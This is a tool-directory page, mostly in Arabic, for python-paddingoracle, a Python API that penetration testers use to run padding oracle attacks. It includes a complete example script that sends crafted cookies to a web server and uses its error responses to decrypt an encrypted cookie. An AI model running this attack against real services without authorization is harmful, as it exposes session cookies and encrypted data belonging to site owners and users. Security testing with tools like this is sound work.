Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
python-paddingoracle — A portable, padding oracle exploit API | Kitploit
أدوات/GitHubGitHub/mwielgoszewski/python-paddingoracle
Encryption/Decryption ToolsExploitationWeb Application ExploitationCryptographyPenetration Testing
GitHubmwielgoszewski/python-paddingoracle

python-paddingoracle

A portable, padding oracle exploit API

عرض المستودع
33173منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

python-paddingoracle: واجهة برمجية محمولة لاستغلال Padding Oracle

مُحدَّث لـ Python 3

python-paddingoracle هي واجهة برمجة تطبيقات (API) توفّر لمختبري الاختراق بديلاً قابلًا للتخصيص عن PadBuster_ وأدوات استغلال padding oracle الأخرى التي لا يمكن استخدامها بسهولة (دون إعادة كتابة كبيرة) في سيناريوهات فريدة خاصة بكل تطبيق. فكّر في التطبيقات غير المعتمدة على HTTP، والمقابس الخام (raw sockets)، وتطبيقات العملاء، والترميزات الفريدة، وما إلى ذلك.

الاستخدام:

لاستخدام واجهة paddingoracle، يكفي تنفيذ دالة oracle() من واجهة PaddingOracle ورفع BadPaddingException عندما يكشف مفكّك التشفير عن وجود padding oracle. لفك تشفير البيانات، مرِّر وحدات البايت المشفَّرة الخام إلى decrypt() مع تحديد حجم الكتلة (عادةً 8 أو 16) ومعامل iv اختياري.

انظر أدناه للحصول على مثال (من the example_): ::

root@kitploit:~
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = quote(b64encode(data))
        self.session.cookies['somecookie'] = somecookie

        while 1:
            try:
                response = self.session.get('http://www.example.com/',
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        if response.ok:
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # An HTTP 500 error was returned, likely due to incorrect padding
        raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[1:]:
        print('Usage: %s <somecookie value>' % (sys.argv[0], ))
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)

    encrypted_cookie = b64decode(unquote(sys.argv[1]))

    padbuster = PadBuster()

    cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))

الاعتمادات

python-paddingoracle هو تنفيذ بلغة Python مبني بشكل كبير على PadBuster_، وهو سكربت آلي لتنفيذ هجمات Padding Oracle، طوّره Brian Holyfield من Gotham Digital Science.

.. _the example: https://github.com/mwielgoszewski/python-paddingoracle/blob/master/example.py .. _PadBuster: https://github.com/GDSSecurity/PadBuster

تنزيل الأداة